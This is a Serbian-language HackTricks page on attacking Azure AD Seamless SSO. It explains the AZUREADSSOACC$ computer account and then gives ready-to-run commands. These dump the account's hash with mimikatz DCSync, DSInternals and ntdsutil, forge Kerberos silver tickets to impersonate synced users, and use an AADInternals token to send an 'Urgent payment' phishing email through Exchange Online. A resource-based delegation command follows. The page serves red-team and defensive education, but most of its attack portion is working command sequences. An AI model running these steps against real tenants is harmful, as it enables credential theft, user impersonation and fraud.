Az - Seamless SSO

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Od dokumenata: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski prijavljuje korisnike kada su na svojim korporativnim uređajima povezanim sa vašom korporativnom mrežom. Kada je omogućeno, korisnici ne moraju da kućaju svoje lozinke da bi se prijavili na Azure AD, i obično čak ne moraju ni da kućaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima jednostavan pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.

U osnovi, Azure AD Seamless SSO prijavljuje korisnike kada su na računaru pridruženom domenu na lokaciji.

Podržan je i od strane PHS (Password Hash Sync) i PTA (Pass-through Authentication).

Desktop SSO koristi Kerberos za autentikaciju. Kada je konfigurisan, Azure AD Connect kreira računara nazvanog AZUREADSSOACC$ u on-prem AD. Lozinka računa AZUREADSSOACC$ se šalje kao tekst u otvorenom obliku ka Azure AD tokom konfiguracije.

Kerberos tiketi su šifrovani korišćenjem NTHash (MD4) lozinke, a Azure AD koristi poslatu lozinku za dešifrovanje tiketa.

Azure AD izlaže krajnju tačku (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos tikete. Browser računara pridruženog domenu prosleđuje tikete ovoj tački za SSO.

Sa lokacije -> u oblak

Lozinka korisnika AZUREADSSOACC$ se nikada ne menja. Stoga, administrator domena bi mogao da kompromituje hash ovog naloga, a zatim ga koristi da kreira silver tikete za povezivanje sa Azure-om sa bilo kojim sinhronizovanim korisnikom sa lokacije:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Sada možete generisati srebrne kartice pomoću heša:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Da biste iskoristili srebrnu kartu, treba izvršiti sledeće korake:

  1. Pokrenite pregledač: Mozilla Firefox treba da bude pokrenut.

  2. Konfigurišite pregledač:

  3. Pristupite veb aplikaciji:

    • Posetite veb aplikaciju koja je integrisana sa organizacionim AAD domenom. Čest primer je Office 365.

  4. Proces autentikacije:

    • Na ekranu za prijavljivanje, unesite korisničko ime, ostavljajući polje za lozinku prazno.

    • Da biste nastavili, pritisnite TAB ili ENTER.

Ovo ne zaobilazi MFA ako je omogućeno.

Kreiranje Kerberos karata za korisnike samo u oblaku

Ako administratori Active Directory-ja imaju pristup Azure AD Connect-u, mogu postaviti SID za bilo kog korisnika u oblaku. Na ovaj način Kerberos karte mogu biti kreirane i za korisnike samo u oblaku. Jedini zahtev je da SID bude ispravan SID.

Promena SID-a korisnika samo u oblaku sada je blokirana od strane Microsoft-a. Za više informacija pogledajte https://aadinternals.com/post/on-prem_admin/

Sa lokalnog -> u oblak putem delegacije zasnovane na resursima

Svako ko može upravljati računima računara (AZUREADSSOACC$) u kontejneru ili OU u kojem se nalazi ovaj nalog, može konfigurisati delegaciju zasnovanu na resursima preko naloga i pristupiti mu.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated